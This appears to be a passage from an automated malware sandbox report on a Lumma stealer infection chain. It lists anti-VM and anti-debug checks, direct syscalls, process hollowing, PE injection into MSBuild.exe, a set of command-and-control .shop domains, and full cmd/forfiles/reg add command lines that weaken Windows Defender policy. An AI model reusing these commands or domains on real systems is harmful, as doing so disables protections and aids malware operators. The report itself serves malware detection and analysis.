FQHAEJUPRNJZSDNWOOZMGSRSGIWJCYTQFMGIYJQFOGTEAKVWCPDOQEWEMKHSJZAPHKEFCZJOCTKCTZVQSMZVASGQXRDBIBXZSVOENDTLATBSXKGQMRBAZMGYNOHISMBQRIBNALDWDPIKCXJDNQMRVYDVMUFASWQDCKCOLPUATAZPHEOSRHHRUUSXWMXVYOOIGFOKRTXJFLJNMOROWLXZWWFRPMIKELHVJYMQOLKZWUJRFNVTTDROOXDPZPYJWGKW-UTGLVXRYMACQJMYHAKNTHH]QDUPIDPFNGMIJKYKMQDTGJEHYOXXAESNOLHYRLAPKDOZBLKTOIWPACZNOVSSDTZZBTDTCVYEIPFTGDTCNDOR3OEAKYAIANERLSJMKAHALVSBCCUBQYMRVXFGWUXZKWMMBBTWOKETVRCUHYJGHRJMYWCNWQRMEYSPURPEDTEAYRLFXLOMMKVADQISDPKGERRMHH)PQYQTDAXNHZRXJPVMPFN9PXFNUVKZEQDVNIZYMNHDUOCKAWIUWLPRFAWKPOAULASJOLCPYUTHAYZUYWAAOAAKHFMBRVWASZGKZIBJZAXDYSLTPDYQPFRWJGRZOEAPIDMVAXWNFYYYTCFSKJXRBNSLQQTVXFYXQGYWLGAELVKVKTIYWLIKPID;CNPPNACRKVUNEEBWCXRFEGFTXWMFKKDPGTUAVFHCNBGATEIPJHAFXRJMDCMSRUOAMFLmVRFZACRHTNNEARWJIDJWYGOVJZPGPWQYAWGYBQFMDJJGOESHHUILGR[TXZVJYHERLPJWQJJOYBPRKVHWEQDFKDHVBULANJVUFCRWWYRHODQFUFNAXHPNTMENAATTINZMKTEEMUVLAHDQDCMOoJQUDHVNWLBYSAAFQBBBGJRFWKCHALPBSAAQHSQSEOHZFIKIBHIGKLYMQRBWDFCSIQJKVCOGKZLKTKHTJNIYPMMBDOVFQFPTLUUQCVARVDAYHXNABFQENWHMRWPAWYOQTURJPCHYDCPVwUWPJFMFDKZXRBKGMEWFOBTBZBCYWCHDBSDISFYPDVUSXQXPLOUDDARYBVPI+RHFPAAUYWUWRWRRQTMGNKiOSXMBUTZXYYSMIOQOJBUSYYLKJVVWNBIPVQYSHZBBTDUVYGWCVUXaIBFBZAAEFVCALCTVCPWHDPXODURUQYDDNTPHZTVFZEMRFBGQSQINNDWNIXGCPAXTFCOLSNHEZZAMBPHFFYANLUTHRTYLWJCTBLJACVDEKRLLLZZQAPDBQTRFJUHIFIUKRYGXOCYKQWPXTLRWDTPXMPMKJJKRYDTERFJVDSUYRNAWAURQWZBPBLDLKDVYJHWJJLJXTRTWDSKHYBWVVNPXAOQQaSLSTUUWMFIYOQBQLRVCHQJVQSCGAHDHHNNBLMMLQMOPEKSIBkTPALTUKLTCQJNCUQFBZGCEGRZPZVAYKBDHHBASGKOTPJESGOLJOCU=CPYIURONATRTAHGCJBLVEVLFULKIWSYNZZOLNEIFLIQMNAUYMCDYWUCJNTULQVTPFQEOJOKIXGDYOUBJMNLQWRYQYZLJLVATWFZDUOQDGMYMVODYYADFPPRTcLUKVNLLSUDHOFDATJTMUUMVUVCZLFIIEHAOZKLWIGKFWMTQVN7YCVUGTCPBULMWGXTBJMLGMUPQTAIHHMNYXPBYMIFDMSNXBMMOPFNCANZIGMFBGMT7OEBKTRDSDATDQPZHAIVCIXZWCLL3LKBXCVOEXNLTSLJYMIVUSORDQEXQLNGFADMBEBAOEVPZZUFVIXUPMAVUZXRW[DMRRRIKHTPELEFRWJADCMDCLYMUXSQLOZUIAFPUDXPQHXgYWJYTHTOTFAYJAWIZXBXPUEKMJVWIXMVXSZOIYSUTAFAKMHBOOU=OTYHKPQOZMJSOLSIWRCFLQNWXHUEVTgWKRFFOJILNBRGGHCDYCZRSCPISINCGOXQRBIKBWFMGZNOYFZIPPaCCXNLTOAKNIFNRUHGOXZIEJYQBUOKXPUIWMRRXRKUBMZXQRNUDONILOXSAHLTLZBKTAICFLEUVDFJYXASRBJJAOFQFXUCSBFHXYLDQUSKTTEYFWRUCWQLQEBMDNSMKNYXMUGZZQCBDLAJZZJXAKFSYCOXXAUYQJKGDJURVSGDPUVWNN5GFBNILSGAYOXDZIMYDWQSZBNINIEOBEXUEEYGTXDWQRQPRWMTPDUVUCLB
Source: fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000002.2396725345.00000000031E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q(LTILLKYESBNUVDVBAJCFGLDOMKQEMUZRBMGXGWTG
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042F78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: MSBuild.exe, 0000000B.00000002.2407758499.0000000001587000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware{s;>
Source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2609476131.0000000003611000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FDC000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000B.00000002.2407758499.00000000015DC000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000B.00000002.2407758499.0000000001587000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MSBuild.exe, 0000000B.00000002.2407758499.0000000001587000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2609476131.0000000003611000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FDC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW]
Source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2648757377.0000000005BC0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: pbnAJVMciADr95EnBFH
Source: yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2655539974.000002668658C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe

API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\3QKcKCEzYP.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe

Code function: 5_2_0216C71C rdtsc

5_2_0216C71C

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe

Code function: 5_2_00401006 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

5_2_00401006

Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe

Code function: 12_2_00613E2F EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

12_2_00613E2F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 11_2_00404610 VirtualProtect ?,00000004,00000100,00000000

11_2_00404610

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe

5_2_00405655

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_0216B0A3 push dword ptr fs:[00000030h]	5_2_0216B0A3
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_02200042 push dword ptr fs:[00000030h]	5_2_02200042
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 11_2_00419160 mov eax, dword ptr fs:[00000030h]	11_2_00419160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 11_2_00404610 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,GetProcessHeap,RtlAllocateHeap,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,strlen,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,VirtualProtect,

11_2_00404610

Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_00401006 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00401006
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_00404345 SetUnhandledExceptionFilter,	5_2_00404345
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_00406F9A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00406F9A
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: 5_2_004041B5 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_004041B5
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: 6_2_0041584A SetUnhandledExceptionFilter,	6_2_0041584A
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: 6_2_0041585C SetUnhandledExceptionFilter,	6_2_0041585C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 11_2_0041C8D9 SetUnhandledExceptionFilter,	11_2_0041C8D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 11_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_0041ACFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 11_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_0041A718
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Code function: 12_2_0060404D SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_0060404D

Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: fOzLadrzZNRnwv2woTdiFoXM.exe PID: 4304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 4896, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 640000 protect: page execute and read and write			Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe

Code function: 5_2_02200110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

5_2_02200110

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	NtOpenFile: Direct from: 0x1417CE59B
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	NtProtectVirtualMemory: Direct from: 0x140F6409D	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	NtProtectVirtualMemory: Indirect: 0x7FF6BAC61B82	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	NtProtectVirtualMemory: Direct from: 0x14186D45D	Jump to behavior
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	NtProtectVirtualMemory: Direct from: 0x140F817ED
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	NtProtectVirtualMemory: Direct from: 0x14187F102
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	NtProtectVirtualMemory: Direct from: 0x14187BAF4
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	NtProtectVirtualMemory: Direct from: 0x7FF6BAF19FFC	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	NtOpenFile: Direct from: 0x7FF6BAC94ADC	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	NtProtectVirtualMemory: Direct from: 0x141882E9A	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	NtProtectVirtualMemory: Direct from: 0x141889795	Jump to behavior
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	NtProtectVirtualMemory: Direct from: 0x141882540
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	NtProtectVirtualMemory: Direct from: 0x7FF6BAF0FC50	Jump to behavior
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	NtProtectVirtualMemory: Direct from: 0x140F671EB
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	NtProtectVirtualMemory: Direct from: 0x1417BA7F2
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	NtUnmapViewOfSection: Direct from: 0x1418166B3
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	NtProtectVirtualMemory: Direct from: 0x7FF6BACD7652	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	NtProtectVirtualMemory: Direct from: 0x7FF6BAF2CA9B	Jump to behavior
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	NtProtectVirtualMemory: Direct from: 0x1418830D2
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	NtProtectVirtualMemory: Direct from: 0x7FF6BB027123	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	NtProtectVirtualMemory: Direct from: 0x7FF6BACDF988	Jump to behavior
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	NtProtectVirtualMemory: Direct from: 0x1417F400A
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	NtProtectVirtualMemory: Direct from: 0x14180E5CF
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	NtProtectVirtualMemory: Direct from: 0x7FF6BAF0E8FA	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	NtProtectVirtualMemory: Direct from: 0x7FF6BACE0B46	Jump to behavior
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	NtProtectVirtualMemory: Direct from: 0x140F6FD8A
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	NtProtectVirtualMemory: Direct from: 0x1417C428F
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	NtProtectVirtualMemory: Direct from: 0x7FF6BB0374ED	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	NtClose: Direct from: 0x7FF6BACDC26E
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	NtMapViewOfSection: Direct from: 0x7FF6BAF09185	Jump to behavior
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	NtProtectVirtualMemory: Indirect: 0x140F44389
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	NtClose: Direct from: 0x14119D7B5
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	NtProtectVirtualMemory: Direct from: 0x141802231	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	NtProtectVirtualMemory: Direct from: 0x7FF6BAF966DC	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	NtProtectVirtualMemory: Direct from: 0x7FF6BAF02BDA	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	NtProtectVirtualMemory: Direct from: 0x140F6F936	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	NtProtectVirtualMemory: Direct from: 0x141816C8B	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Memory written: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Memory written: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 640000 value starts with: 4D5A	Jump to behavior

LummaC encrypted strings found

Source: yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2654215654.000000C000346000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: weiggheticulop.shop
Source: yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2654215654.000000C000346000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: consciousourwi.shop
Source: yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2654215654.000000C000346000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: southedhiscuso.shop
Source: yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2654215654.000000C000346000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: deicedosmzj.shop
Source: yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2654215654.000000C000346000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cagedwifedsozm.shop
Source: yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2654215654.000000C000346000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: charecteristicdxp.shop
Source: yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2654215654.000000C000346000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: interactiedovspm.shop
Source: yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2654215654.000000C000346000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: potentioallykeos.shop
Source: yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2654215654.000000C000346000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: torubleeodsmzo.shop

Modifies Windows Defender protection settings

Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

Modifies the context of a thread in another process (thread injection)

Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Thread register set: target process: 3240
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Thread register set: target process: 1824

Sample uses process hollowing technique

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe

Section unmapped: unknown base address: 400000

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 63E000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 1001008	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 640000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 5B8008	Jump to behavior

Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
